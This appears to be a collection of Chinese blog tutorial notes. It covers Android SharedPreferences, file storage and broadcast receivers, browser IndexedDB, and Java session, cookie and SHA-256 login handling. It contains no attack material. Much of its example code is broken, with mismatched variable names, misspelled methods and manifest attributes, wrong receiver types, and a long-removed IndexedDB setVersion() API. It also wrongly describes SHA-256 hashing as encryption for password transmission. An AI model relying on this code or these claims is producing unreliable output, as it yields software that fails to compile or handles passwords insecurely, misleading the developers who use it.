  • putBoolean() : 添加布尔数据
  • putString(): 添加字符串数据
  • putInt(): 添加整形数据

实例代码如下:

1
2
3
editor.putString("name","xiaoyang");
editor.putInt("age",27);
editor.putBoolean("married",false);

1.4 数据提交

添加完数据,就可以使用apply()提交完成保存操作了

1
editor.apply();

此时数据就完成了存储,可以在/data/data/<package-name>/shared_prefs/文件夹下找到data文件进行查看,SharedPreferences是以xml格式来管理数据的。

二、从SharedPreferences中读取数据

从SharedPreferences中读取数据的方法和存储数据的方式对应,有三个如下所示,其中第一个参数表示要获取数据的键,第二个参数表示默认值,即当传入的键不存在时则以默认值返回。

  • getBoolean() : 获取布尔数据
  • getString(): 获取字符串数据
  • getInt(): 获取整形数据

实例代码如下:

1
2
3
4
SharedPreferences.Editor editor=getSharedPreference("data",MODE_PRIVATE).edit();
editor.getString("name","");
editor.getInt("age",0);
editor.getBoolean("married",false);

Android数据持久化---文件存储

文件存储不对数据做任何格式化的处理,原封不动的保存数据,适合存储一些简单的文本数据,创建的文件位于/data/data/<package-name>/fiele/目录下

一、存储数据

Context类提供了openFileOutput()方法,可以将数据保存。它接收两个参数

  • 第一个参数: 文件名

  • 第二个参数: 文件的操作模式

    文件的操作模式主要有两种,分别是MODE_PRIVATEMODE_APPEND,其中

    • MODE_PRIVATE:指定同样文件名的时候,会覆盖原文件的内容;
    • MODE_APPEND:指定同样文件名的时候,会往文件中追加内容;

    还有其它的模式,如:MODE_WORLD_READABLEH和MODE_WORLD_WRITEABLE表示允许其它应用对我们程序中的文件进行读写操作,存在安全漏洞,在Android4.2版本中被废弃了。

保存文件的步骤如何呢:

  1. 通过openFileOutput()方法得到一个FileOutputStream对象;
  2. 通过FileOutputStream对象构建一个OutputStreamWriter对象;
  3. 通过OutputStreamWriter对象构建一个BufferedWriter对象;
  4. 通过BufferedWriter对象就可以将文本写入文件了

具体代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public void save(){
String data="我是要保存的内容";
FileOutputStream out=null;
OutputStreamWriter wsw=null;
BufferedWriter writer=null;
try{
out=openFileOutput("data",Context.MODE_PRIVATE);
osw=new OutputStreamWriter(out);
writer=new BufferedWriter(osw);
writer.writer(data);
}catch(IOException e){
//...
}finally{
try{
if(writer!=null){
writer.close();
}
}catch(IOException e){
//..
}
}
}

这时就可以在onDestroy()方法中将相应的数据保存起来了,以便再次启动时展示。

如何查看我们已经保存的数据呢?在Android studio的Tools-Android-Android Device Monitor,就可以进入File Explorer标签页,从而找到/data/data/<package-name>/fiele/下相应的文件了

二、读取数据

如何读取保存在/data/data/<package-name>/fiele/的文件数据呢,Context有一个openFileInput()方法,按照下面步骤即可:

  1. 通过openFileInput()方法得到一个FileInputStream对象;
  2. 通过FileInputStream对象构建一个InputStreamWriter对象;
  3. 通过InputStreamWriter对象构建一个BufferedReader对象;
  4. 通过BufferedReader对象就读取文件了

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public void load(){
FileInputStream in=null;
InputStreamWriter isw=null;
BufferedReader reader=null;
StringBuilder content=new StringBuilder();
try{
in=openFileInput("data");
isw=new InputStreamWriter(in);
reader=new BufferedReader(isw);
String line="";
while((line=reader.readerLine())!=null){
content.append(line);
}
}catch(IOException e){
//...
}finally{
try{
if(reader!=null){
reader.close();
}
}catch(IOException e){
//..
}
}
}

这时就可以在onCreate()方法中将相应的数据读取起来进行展示了。

indexedDB的使用

简介

IndexedDB是Indexed Database API的简称,是一套方便保存和读取JavaScript对象、同时支持查询和搜索的API。

一、数据库的创建和存储

1.1 IndexedDB对象的声明

IndexDB本作为API宿主的全局对象,但是不同浏览器常常有一些不同命名:

  • IE10: msIndexedDB
  • Firfox4: mozIndexedDB
  • Chrome: webkitIndexedDB
    所以对IndexDB的声明需要兼顾现状:
1
var indexDB = window.indexedDB || window.msIndexedDB || window.mozIndexedDB || window.webkitIndexedDB

1.2 数据库的连接

IndexedDB与传统数据库的差别是:它使用对象保存数据。一个IndexedDB数据库可以看做时相同命名空间下的对象的集合。
对IndexedDB数据库的连接可以使用open()方法,

  • 在回调函数中的event.target指向的是request:
  • event.target.result找那个有一个数据库的实例对象(IDBDatabase)
1
2
3
4
5
6
7
8
9
10
11
12
var request , database;
// 打开一个数据,返回一个IDBRequest对象
request=indexedDB.open("admin");
// 打开数据库发生异常时的回调函数
request.onerrro=function(event){
alert("打开时发生了异常:"+event.target.errorCode);
}
// 打开数据库成功时的回调函数
request.onsuccess=function(event){
// 这里event.target指向的是request对象
database=event.target.result;
}

1.3 IndexedDB版本号的设置

在Web应用中,随着对数据库结构的更新和修改,肯定会出现多个不同版本的数据库。默认情况下IndexedDB没有版本号,最好设置一下,可以使用setVersion()方法,以字符串的形式传递版本号,为了检验版本号是否设置成功,需要设置监听函数:

1
2
3
4
5
6
7
8
9
10
11
if(database.version!="1.0"){
request=database.setVersion("1.0");
request.onerror=function(event){
alert("打开时发生了异常:"+event.target.errorCode);
}
request.onsuccess=function(event){
alert("数据库初始化完成,数据库名字为:"+database.name+", 版本为:"+database.version);
}
}else{
alert("数据库已经存在,数据库名字为:"+database.name+", 版本为:"+database.version);
}

1.4 对象存储空间的创建(建表)

先额外看一个最简单的例子,有个简单的了解:

1
2
3
4
5
6
7
8
9
10
11
// 初始化数据库
var dbParams=new Object();
dbParams.db_name="YYH";
dbParams.db_version="1";
dbParams.db_store_name="Test";
dbObject.init(dbParams);

// 插入三条数据
var v01=dbObject.put({title:"阿里巴巴与四十个大盗",author:"alibaba",isbn:123456},1);
var v02=dbObject.put({title:"百年身,已往回首",author:"baidu",isbn:234567},2);
var v03=dbObject.put({title:"Chrome浏览器无敌",author:"chromegroup",isbn:345678},3);

在数据库连接成功之后,就要创建对象存储空间(建表)了。正如前面所说,IndexedDB保存的是系列对象的集合,加入我们保存记录是用户对象如下:

1
2
3
4
5
6
var user={
username:"007",
firstName:"Yang",
lastName:"Afei",
password:"iampassword"
}

但是建表一定要有主键,我们将username设为主键,在IndexedDB中怎么做呢,可以使用database中的createObjectStore()方法,

1
2
// 第一个参数相当于表名,第二个参数执行表的主键
var store = database.createObjectStore("users", {keyPath:"username"});

这时,数据表已经创建好了,接下来就该插入数据了。

1.5 数据的插入

有了store这个对存储空间的引用,就可以进行数据的插入了。有两个方法进行数据的插入,它们都接收要保存的对象,区别就是处理方式的不同:

  • add(): 要插入的对象已经在数据库中存在时,返回错误
  • put(): 要插入的对象已经在数据库中存在时,更改数据库中的信息
    示例代码如下
1
2
3
4
5
6
7
// 假设users中保存着一批用户数据
var i=0 , len=users.length;
while(i<len){
store.add(users[i++]);
//或者
//store.put(users[i++]);
}

这样可以不知道每一条数据插入成功与否,其实每次add或put都会创建一个新的对这个对象存储空间的更新请求,可以获取这个请求,然后添加监听:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
var i=0,
request,
requests=[],
len=users.length;
while(i<len){
request=store.add(users[i++]);
request.onerror=function(event){
//处理错误
}
request.onsuccess=function(event){
//处理成功
}
requests.put(request);
}

这时候就完成了数据的插入工作,下面就是数据的查询了

二、事务

对IndexedDB中数据的查询(事实上时除了数据插入外的所有操作)都是通过事务来完成的。可以通过transaction()来创建事务:

  • 如果没有参数传递,该事务只能读取数据库中保存的对象
  • 只传一个对象存储空间名(表名),该事务只加载该‘表’中的数据
  • 传递数组形式存储的多个对象存储空间名(表名),该事务只加载该‘表’数组中的数据
  • 传递两个参数,第二个参数表示访问模式
    • READ_ONLY(0) :表示只读
    • READ_WRITE(1) :表示读写
    • VERSION_CHANGE(2) :表示改变

注意:在IE10+和Firfox4+中实现的是IDBTransaction,而Chrome中则交webkitIDBTransaction,使用时应该做统一接口:

1
var IDBTransaction = window.IDBTransaction || window.webkitIDBTransaction;

相关例子代码如下:

1
2
3
4
5
6
7
8
9
10
11
// 读取数据库中保存的对象
var transaction1=database.transaction();

// 读取数据库中指定对象存储空间(单个)保存的对象
var transaction2=database.transaction("users");

// 读取数据库中指定对象存储空间(多个)保存的对象
var transaction3=database.transaction(["users","anotherStore"]);

// 获取读写模式下的事务,此种模式不仅可以读,还可以写
var transaction4=database.transaction("users",IDBTransaction.READ_WRITE);

创建好事务后,可以使用objectStore()方法传入特定的存储空间名称访问特定的存储空间,该进行实质性的查找工作了,

  • add()和put():
  • get():接收键作为参数,取得值
  • delete():接收键作为参数,删除对象
  • clear():删除所有对象
1
2
3
4
5
6
7
8
9
10
11
// 获取users对象存储空间中username为007的记录
var request=database.transaction("users").objectStore("users").get("007");
request.onerror = function(event){
alert("没有获取到对象!");
};

request.onsuccess = function(event){
//获取查询到的结果
var result=event.target.result;
alert(result.firstName);
}

事务主要是完成多个请求的,所以事务本身也有时间处理程序:onerror,oncomplete

1
2
3
4
5
6
7
8
9
10
// 事务执行出错
transaction.onerror=function(){
// 整个事务被取消
}

// 事务执行全部完成,
transaction.oncomplete=function(){
// 整个事务都成功完成了,但是这里访问不到get请求回的任何数据
// 要想访问到get请求回的数据,需要去相应请求中的onsuccess方法中获取
}

三、游标和键范围

3.1 游标

使用事务可以直接通过已知的键检索单个对象,如果要检索多个对象呢,这时候就要在事务内部创建游标了。游标是一个执行结果集的指针。与传统数据库查询不同,游标并不提前搜集结果。游标指针会先指向结果中的第一项,在接到查找下一项指令时才会指向下一项。

游标的创建可以使用openCursor()方法,该方法返回的是请求对象,因此也可以指定onsuccessonerror事件处理程序:

1
2
3
4
5
6
7
8
9
10
var store=database.transaction("users").objectStore("users"),
request=store.openCursor();

request.onsuccess(event){
// 处理成功,在这里可以使用event.target.result获取存储空间的下一个对象
}

request.onerror(event){
// 处理失败
}

onsuccess方法中可以使用event.target.result获取存储空间的下一个对象,结果集中如果有下一项时,这个属性保存一个IDBCursor实例,没有下一项时,这个属性值为null,IDBCursor的属性有如下:

  • direction: 游标移动的方向,默认值是:IDBCursor.NEXT(0)表示下一项;IDBCursor.NEXT_NO_DUPLICATE(1)表示下一个不重复的项;IDBCursor.PREV(2)表示前一项;IDBCursor.PREV_NO_DUPLICATE(3)表示前一个不重复的项。
  • key:对象的键
  • value:对象的值,实际的对象
  • primaryKey:游标使用的键,可能是对象键,也可能是索引键(后面会有讨论)
1
2
3
4
5
6
7
8
request.onsuccess=function(event){
//获取存储空间的下一个对象
var cursor=event.target.result;
if(cursor){//必须检查
// 因为cursor.value是一个对象,需要先将它转化为json字符串
console.log("Key: "+cursor.key+" , value: "+ JSON.stringfy(cursor.value));
}
}

使用游标更新和删除对象

  • update() : 用指定对象更新当前游标的value,返回一个请求可以指定onsuccess和onerror
  • delete() : 返回一个请求可以指定onsuccess和onerror
    如果当前事务没有修改对象存储空间权限,update和delete就会报错。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
rquest.onsuccess=function(event){
var cursor=event.target.result,
value,
updateRequest;

if(cursor){//必须要检查
if(cursor.key=="foo"){
value=cursor.value; // 取得当前的值
value.password="iamanotherpw"; // 更新密码

updateRequest=cursor.update(value); //请求保存更新
updateRequest.onsuccess=function(event){
// 更新成功
};
updateRequest.onerror=function(event){
// 更新失败
}
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
rquest.onsuccess=function(event){
var cursor=event.target.result,
value,
deleteRequest;

if(cursor){//必须要检查
if(cursor.key=="foo"){
deleteRequest=cursor.delete(); //请求删除当前项
deleteRequest.onsuccess=function(event){
// 删除成功
};
deleteRequest.onerror=function(event){
// 删除失败
}
}
}
}

默认情况下,每个游标只发起一次请求,想要发送另一次请求就需要cursor调用下面的方法了:

  • continue(key):移动到结果集中的下一项。参数key可选,不指定表示移动到下一项,指定key参数表示移动到指定键位置;
  • advance(count):向前移动count指定的项数;
    它们都会导致游标使用相同的请求,因此onsuccess和onerror函数也会得到重用。
1
2
3
4
5
6
7
8
9
10
11
rquest.onsuccess=function(event){
var cursor=event.target.result;
if(cursor){//必须要检查
console.log("Key: "+cursor.key+" , value: "+ JSON.stringfy(cursor.value));

cursor.continue(); //移动到下一项
}else{
//没有更多选项可以迭代时,cursor为null
console.log("完成!");
}
}

3.2 键范围

使用游标查找数据的方式太受限了,不太理想。键范围(key range)为使用游标添加了一些灵活性。键范围由IDBKeyRange的实例表示,IE10+和Firfox4+ chrome都支持,但是chrome中名字为webkitIDBKeyRange,使用时最好先声明一个本地类型,这样可以兼顾到浏览器的差异

1
var IDBKeyRange=window.IDBKeyRange || window.webkitIDBKeyRange;

那么键范围如何指定呢,如下四种方法:

  • only(key):范围保证只取得键”007”的对象
  • lowerBound(key):指定结果集的下界,保证游标从键007的对象开始,然后继续向前移动,直到最后一个对象;
  • lowerBound(key,boolean):第二个参数如果是true表示忽略key对象,为false表示包含key对象
  • upperBound(key):指定结果集的上界,游标从头开始,到key的对象为止
  • upperBound(key,boolean):第二个参数如果是true表示忽略key对象,为false表示包含key对象
  • bound(key1,key2):从key1开始,到key2的范围
  • bound(key1,key2,boolean1):boolean1为true表示从key1的下一个对象开始,到key2的范围
  • bound(key1,key2,boolean1,boolean2):boolean1和boolean2为true表示从key1的下一个对象开始,到key2的上一个对象为止范围
    然后将它给openCursor()方法即可,下面的例子表示输出从007到ace的对象:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//
var onlyRange=IDBKeyRange.only("007")
var store=database.transaction("users").objectStore("users"),
range=IDBKeyRange.bound("007","ace"),
request=store.openCursor(range);
request.onsuccess=function(event){
var cursor=event.target.result;
if(cursor){
console.log("Key: "+cursor.key+" , value: "+ JSON.stringfy(cursor.value));

cursor.continue();
}else{
console.log("完成");
}
}

3.3 游标方向

上边在讲游标时讲到了IDBCursor对象,在openCursor()方法时会得到一个IDBCursor实例。
其实openCursor()也可以接收两个参数:

  • IDBKeyRange:
  • 方向的数值常量:即前边查询时讲的IDBKeyCursor的常量
    首先考虑不同浏览器的差异:
1
var IDBKeyCursor=window.IDBKeyCursor || window.webkitIDBCursor;

正常情况下,游标是从对象存储空间的第一项开始,通过调用continue()或advance()前进到最后一项。游标默认方向值时IDBCursor.NEXT,如果对象存储空间中有重复的项而又想跳过重复的项,就可以使用下面的:

1
2
var store=database.transaction("users").objectStore("users"),
request=store.openCursor(null,IDBCursor.NEXT_NO_DUPLICATE);

我们要说明的就是一个参数null,null表示默认的键范围,即包含所有对象。如果想让游标在指定的范围内移动,怎么办呢,将第一个参数换位IDBKeyRange对象即可。

四、索引和并发

4.1 索引

前边讲到创建对象存储空间(表)时,需要指定键(主键),但是有时候可能需要为一个对象存储空间指定多个键(比如通过用户ID和用户名两种方式保存用户资料)。这是就要用到索引了。可以考虑将用户ID作为主键,然后为用户名创建索引。
4.1.1 如何创建索引呢:

(1) 首先引用对象存储空间,然后调用createIndex()方法,返回的是一个IDBKIndex实例

1
2
3
4
> var store=database.transaction("users").objectStore("users"),
> //第一个参数索引的名字,第二个参数索引的属性的名字,第三参数包含unique的可选项(必须指定,它标书键所在所有记录中是否唯一,因为usename可能有重复,所以这个索引不唯一)
> index=store.createIndex("username","username",{unique:false});
>

也可以对对象存储空间调用index()方法,获取同样的实例

1
2
3
> var store=database.transaction("users").objectStore("users"),
> index=store.index("username");
>

(2) 然后对索引就可以通过openCursor()方法创建游标了。这里会把索引键保存在event.target.result中(与存储空间的区别:对象存储空间会把主键保存在`event.target.result中),其余的都一样。

1
2
3
4
5
6
7
> var store=database.transaction("users").objectStore("users"),
> index=store.index("username"),
> request=index.openCursor();
> request.onsuccess=function(event){
> //处理成功
> }
>

(3) 也可以在索引上创建一个只返回每条记录主键的游标,这时调用openKeyCursor()方法,它接收参数与openCursor()方法相同。此时在event.result.key中仍保存着索引键,event.result.vaule保存的则是主键(而不再是整个对象)

1
2
3
4
5
6
7
> var store=database.transaction("users").objectStore("users"),
> index=store.index("username"),
> request=index.openKeyCursor();
> request.onsuccess=function(event){
> //处理成功,event.result.key保存索引键,event.result.vaule保存主键
> }
>

4.1.2 对索引进行查询
索引创建好了,接下来就可以通过它进行查询了。
(1) 通用使用get()方法从索引中取得一个对象,传入一个索引键参数即可

1
2
3
4
5
6
7
8
9
var store=database.transaction("users").objectStore("users"),
index=store.index("username"),
request=index.get("007");
request.onsuccess=function(event){
//处理成功
};
request.onerror=function(event){
//处理失败
};

(2) 同样也可以通过getKey()方法根据索引键取得主键

1
2
3
4
5
6
var store=database.transaction("users").objectStore("users"),
index=store.index("username"),
request=index.getKey("007");
request.onsuccess=function(event){
//处理成功,event.result.key保存索引键,event.result.vaule保存主键(用户ID)
};

(3) 如果想得到索引相关信息呢 怎么办呢,可以通过IDBCursor对象获取到索引的额如下信息:

  • name:索引的名字
  • keyPath:传入createIndex()中的属性路径
  • objectStore:索引的对象存储空间
  • unique:表示索引键是否唯一的boolean值

(4) 可以通过indexName属性访问到为该空间建立的所有索引

1
2
3
4
5
6
7
8
var store=database.transaction("users").objectStore("users"),
indexNames=store.indexNames,
i=0,
len=indexNames.length;
while(i<len){
index=store.index(indexNames[i++]);
console.log("索引名字:"+index.name+" , KeyPath:"+index.keyPath+" , Unique: "+index.unique);
}

4.1.3 删除索引
通过deleteIndex()方法删除索引

1
2
var store=database.transaction("users").objectStore("users");
store.deleteIndex("username");

4.2 并发

异步API也会存在并发问题,一个浏览器多个标签操作数据库时就会发生。当浏览器中仅有一个标签页使用数据库时,才能调用setVersion()方法完成操作。
注意刚打开数据库时要记着指定onversionchange事件,这样当同一个来源的另一个标签调用setVersion()时就会执行这个回调函数,最佳处理方式,是在里面执行立即关闭数据库,从而保证版本的顺利更新

1
2
3
4
5
6
7
8
9
10
var request,database;
request=indexDB.open("admin");
request.onsuccess=function(event){
database=event.target.result;

//当其它标签页对数据库版本有更新时,执行数据库关闭
database.onversionchange=function(event){
database.close();
}
}

当你要调用setVersion()更新数据库版本时,但是另一个标签页已经打开数据库了,这时候通知用户关闭其它标签页页很有用。可以使用onblocked事件:

1
2
3
4
5
6
7
8
var request=database.setVersion("2.0");
request.onblock=function(){
alert("请关闭其它标签页,然后重新执行");
};

request.onsuccess=function(){
//处理成功,继续
}

Java之登陆验证功能

登录验证


参考:
https://www.zhihu.com/question/20085241
http://blog.csdn.net/u012920206/article/details/52518622
先说一下需求:

  • 首先可以实现用户名密码的登录当然数据传输需要进行加密传输(推荐使用sha256);
  • 用户登录后,需要保存用户的登录状态,以便请求后续功能(可以考虑sessionID,也可结合Token);
  • 用户每次请求其它功能时,提前予以拦截验证(和具体功能函数解耦);

一、如何在java中创建session

1.1 使用例子

首先你需要导入javax.servlet.http这个包,对应的jar文件是servlet-api.jar,在此基础上调用该包里面的HttpSession就能实例化session了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//创建session
HttpSession session=ServletActionContext.getRequest().getSession();
//保存
ActionContext.getContext().getSession.put("msg","hello world from Session");
session.setAttribute("softtypeid",softtypeid);

//获取
if(session.getAttribute("softtypeid")!=null){
if(!softtypeid.equals(session.getAttribute("softtypeid"))){
pager_offset=1;//如果不是同一种分类,返回第一页
}
}


HttpServletRequest request=ServletActionContext.getRequest();
HttpServletReponse response=ServletActionContext.getResponse();
HttpSession session=request.getSession();

1.2 session、和cookie

cookie特点:

  • 会话数据存放在浏览器
  • 数据类型只能是String,而且有大小限制
  • 数据存放不安全

session特点:

  • 会话数据存放在服务器(服务器内存)
  • 数据类型任意,没有大小限制
  • 相对安全

cookie技术原理:

  • 服务器创建cookie对象,保存会话数据,把cookie数据发送给浏览器
  • 浏览器获取cookie数据,保存到浏览器缓存区,然后在下次访问服务器携带cookie数据
  • 服务器获取浏览器发送的cookie数据

cookie简单使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Cookie cookie=new Cookie("name","nidie");//创建Cookie对象,保存会话数据
response.addCookie(cookie);// 通过响应头携带cookie给浏览器
//或者 response.setHeader("set-cookie","name=nidie");


//浏览器下次访问的时候,在请求头将cookie发送给服务器



//服务器获取浏览器发送的cookie
//String name=request.getHeader("cookie");

Cookie[] cookies=request.getcookies();
for(Cookie cookie:cookies){
String name=cookie.getName();
String value=cookie.getValue();
}

cookie细节

  • cookie的数据类型一定是字符串,如果发送中文,需要通过URLEncoder进行加密,和URlDecoder进行解密。
  • setPath(path):默认情况下,是当期项目的根目录下,可以通过setpath更改,如果把该cookie设置到某个有效路径下,只有当访问该有效路径的时候才会携带该cookie信息
  • setMaxAge(整数): 设置cookie的有效时间。
    • 正整数:表示超过了正该值cookie会丢失(cookie保存到浏览器的缓存中),单位:秒。
    • 负整数:表示如果浏览器关闭了,cookie就会消失(cookie保存在浏览器的内存中)
    • 0:表示删除同名的cookie
  • cookie可以有多个,浏览器一般存放300个cookie,每个站点最多存放20个,每个cookie大小限制为4K

Session使用步骤

  • 创建HttpSession对象,用于保存会话数据。
    request.getSession();//创建或获取session
  • 修改HttpSession对象
    setMaxInactiveInterval();
  • 保存会话数据(作为域对象)
    session.setAttribute(“name”, “yangqing”);
1
2
3
4
5
6
7
//创建或者获取session对象

HttpSession session = request.getSession();
//修改session
session.setMaxInactiveInterval(20);//20秒后session对象将要被销毁
//保存会话数据(作为域对象)
session.setAttribute("name", "yangqing");

session细节

  • 1 setMaxInactiveInterval(秒):设置session对象的有效时间
  • 2 设置JSESSIONID不会随着浏览器的关闭而关闭
  • 3 通过invalidate()方法直接销毁session对象
  • 4 request.getSession()//request.getSession(true):查询session对象,如果没有session对象,创建新的
    request.getSession(false):如果没有session对象,返回null。

二、sha256加密处理

参考:http://blog.csdn.net/u012188107/article/details/69267054

2.1 方式1

利用Apache的工具类实现:
maven添加依赖:

1
2
3
4
5
<dependency>
<groupId>commons-codec</groupId>
<artifactId>commons-codec</artifactId>
<version>${common-codec.version}</version>
</dependency>

实现代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

/**
* 利用Apache的工具类实现SHA-256加密
* @param str 加密后的报文
* @return
*/
public static String getSHA256Str(String str){

MessageDigest messageDigest;
String encdeStr = "";
try {
messageDigest = MessageDigest.getInstance("SHA-256");
byte[] hash = messageDigest.digest(str.getBytes("UTF-8"));
encdeStr = Hex.encodeHexString(hash);
} catch (NoSuchAlgorithmException e) {
e.printStackTrace();
} catch (UnsupportedEncodingException e) {
e.printStackTrace();
}
return encdeStr;
}

2.2 方式2
利用java自带的实现加密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39

/**
* 利用java原生的摘要实现SHA256加密
* @param str 加密后的报文
* @return
*/
public static String getSHA256StrJava(String str){
MessageDigest messageDigest;
String encodeStr = "";
try {
messageDigest = MessageDigest.getInstance("SHA-256");
messageDigest.update(str.getBytes("UTF-8"));
encodeStr = byte2Hex(messageDigest.digest());
} catch (NoSuchAlgorithmException e) {
e.printStackTrace();
} catch (UnsupportedEncodingException e) {
e.printStackTrace();
}
return encodeStr;
}

/**
* 将byte转为16进制
* @param bytes
* @return
*/
private static String byte2Hex(byte[] bytes){
StringBuffer stringBuffer = new StringBuffer();
String temp = null;
for (int i=0;i<bytes.length;i++){
temp = Integer.toHexString(bytes[i] & 0xFF);
if (temp.length()==1){
//1得到一位的进行补0操作
stringBuffer.append("0");
}
stringBuffer.append(temp);
}
return stringBuffer.toString();
}

Android之广播接收器

广播,之前也又学习过,但却未再项目中实战过,今天再回顾一下。

Android中每个应用程序都可以对自己感兴趣的广播进行注册,以获取对自己有用的信息。广播可以分两类:

  • 标准广播:完全异步执行,所有接收器同一时刻接收
  • 有序广播:同步执行,同一时刻只有一个接收器能接收,优先级高的先接收,并且可以决定是否可以截断该广播

一、接收系统广播

组册广播的方式又两种:

  • 动态注册:在代码中注册
  • 静态注册:在AndroidManifest.xml中注册

1.1 动态注册广播监听网络变化

1.1.1 创建一个广播接收器

新建一个类继承自BroadcastReciever,重写onReceiver()方法,这样方广播到来时,就会执行onReceiver()方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
public class MainActivity extends AppcompatActivity{
private IntentFilter intentFilter;
private NetworkChangeReceiver networkChangeReceiver;

@Override
protected void onCreate(Bundle savedInstanceState){
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
//1、创建IntentFileter实例
intentFilter=new IntentFileter();
//2、添加对网络状态变化的监听
intentFilter.addAction("android.net.conn.CONNECTIVITY_CHANGE");
//3、创建NetworkChangeReceiver实例
networkChangeReceiver=new NetworkChangeReceiver();
//4、注册广播
registerReceiver(networkChangeReceiver,intentFilter);

}
@Override
protected void onDestroy(){
super.onDestroy();
//5、取消对网络变化的广播注册
unregisterReceiver(networkChangeReceiver);
}



class NetworkChangeReceiver extends BroadcastReceiver{
@Override
public void onReceive(Context context,Intent intent){
//do something

}
}
}

1.1.2 处理广播事件

在NetworkChangeReceiver中重写onReceive()方法,那么怎么处理该事件呢,可以这么做,提示网络状态

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class NetworkChangeReceiver extends BroadcastReceiver{
@Override
public void onReceive(Context context,Intent intent){
//1、获取ConnectivityManager实例,一个管理网络连接的系统服务类
ConnectivityManager connectivityManager=getSystemService(Context.CONNECTIVITY_SERVICE);
//2、得到NetworkInfo实例,可以判断是否有网络
NetworkInfo networkInfo=connectivityManager.getActiveNetworkInfo();
if(networkInfo!=null && networkInfo.isAvailable()){
Toast.makeText(context,"网络可用",Toast.LENGTH_SHORT).show();
}else{
Toast.makeText(context,"网络不可用",Toast.LENGTH_SHORT).show();
}

}
}

需要注意的是,需要在AndroidManifest.xml中声明网络请求的权限,否则会直接崩溃

1
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>

1.2 静态注册广播实现开机启动

动态注册广播只有在程序启动之后才能接收广播,如果想不启动程序也能接收广播,可以吗?可以,使用静态注册的方式

1.2.1 创建一个广播接收器

Android studio中右键-new-other-Broadcast Receiver;

  • Exported属性表示允许这个广播接收器接收本程序以外的广播
  • Enabled属性表示是否启用这个广播接收器
1
2
3
4
5
6
public class BootCompleteReceiver extends BoradcastReceiver{
@Override
public void onReceiver(Context context,Intent intent){
Toast.makeText(context,"开机啦",Toast.LENGTH_SHORT).show();
}
}

1.2.2 在AndroidManifest.xml中注册该广播

在application中添加一个新标签<receiver>,Android studio中自动完成了。并且在内部添加<intent-filter>标签,添加开机启动的action,这样在开机启动发出广播时就可以被接收到了

1
2
3
4
5
6
7
8
<receiver
android:name=".BootCompleteReceiver"
android:enabled="true"
android:exprted="true">
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED">
</intent-filter>
</receiver>

1.2.3 添加权限声明

此时还不能实现接收开机广播,还需要添加权限声明

1
<uses-permission android:name="android.permission.RECEIVER_BOOT_COMPLETED"/>

注意:在onReceive()方法中不要进行复杂耗时的操作,广播接收器中不允许开启线程,若允许长时间就会报错。通常是发通知或启动服务

二、发送自定义广播

会接收广播,就得会发送广播,

2.1 发送标准广播

(1) 定义广播接收器

1
2
3
4
5
6
public class MyBroadcastReceiver extends BoradcastReceiver{
@Override
public void onReceiver(Context context,Intent intent){
Toast.makeText(context,"自己的广播",Toast.LENGTH_SHORT).show();
}
}

(2)在AndroidManifest.xml中对该接收器修改

1
2
3
4
5
6
7
8
<receiver
android:name=".MyBroadcastReceiver"
android:enabled="true"
android:exprted="true">
<intent-filter>
<action android:name="com.example.broadcast.My_Broadcast">
</intent-filter>
</receiver>

(3)发送广播
此时就可以在相应的地方通过Context发送该广播了,可以给一个按钮添加监听,将广播发送出去,此时所有监听“com.example.broadcast.My_Broadcast”的接收器都可以收到一条标准广播了

1
2
3
4
5
6
7
8
9
button.setOnclickListener(
new View.OnClickListener(){
@Override
public void onClick(View v){
Intent i=new Intent("com.example.broadcast.My_Broadcast");
sendBroadcast(i);
}
}
);

2.2 发送有序广播

标准广播可以被多个进程同时接收,如何发送有序广播呢?
(1)修改广播的发送方式

1
2
3
4
5
6
7
8
9
10
button.setOnclickListener(
new View.OnClickListener(){
@Override
public void onClick(View v){
Intent i=new Intent("com.example.broadcast.My_Broadcast");
//实行Context的sendOrderedBroadcast方法发送有序广播;第二个参数是与权限有关的字符串
sendOrderedBroadcast(i,null);
}
}
);

(2)在AndroidManifest.xml中对该接收器添加优先级别,这样优先级越高的就先接到该广播。(100优先级最高)

1
2
3
4
5
6
7
8
<receiver
android:name=".MyBroadcastReceiver"
android:enabled="true"
android:exprted="true">
<intent-filter android:priority="100">
<action android:name="com.example.broadcast.My_Broadcast">
</intent-filter>
</receiver>

(3)截断广播
如果优先级较高的广播接收器,在接收到该广播之后不想让后边优先级低的接收器继续接收,在onReceive中使用abortBrodcast()方法,这样该广播就不会继续传递下去了。

1
2
3
4
5
6
7
public class MyBroadcastReceiver extends BoradcastReceiver{
@Override
public void onReceiver(Context context,Intent intent){
Toast.makeText(context,"自己的广播",Toast.LENGTH_SHORT).show();
abortBrodcast();//截断该广播
}
}

三、使用本地广播

上边使用的都是全局广播,很容易引起垃圾广播,如何只让广播在应用程序内部传播呢,很简单只需要使用一个LocalBroadcastManager对广播进行管理就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
public class MainActivity extends AppcompatActivity{
private IntentFilter intentFilter;
private LocalReceiver localReceiver;
private LocalBroadcastManager localBroadcastManager;


@Override
protected void onCreate(Bundle savedInstanceState){
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
localBroadcastManager=LocalBroadcastManager.getInstance(this);
Button btn=...
btn.setOnClickListener(new OnClickListener(){
@Override
public void onClick(){
Intent i=new Intent("com.example.broadcast.LOCAL_BROADCAST");
localBroadcastManager.sendBroadcast(i);
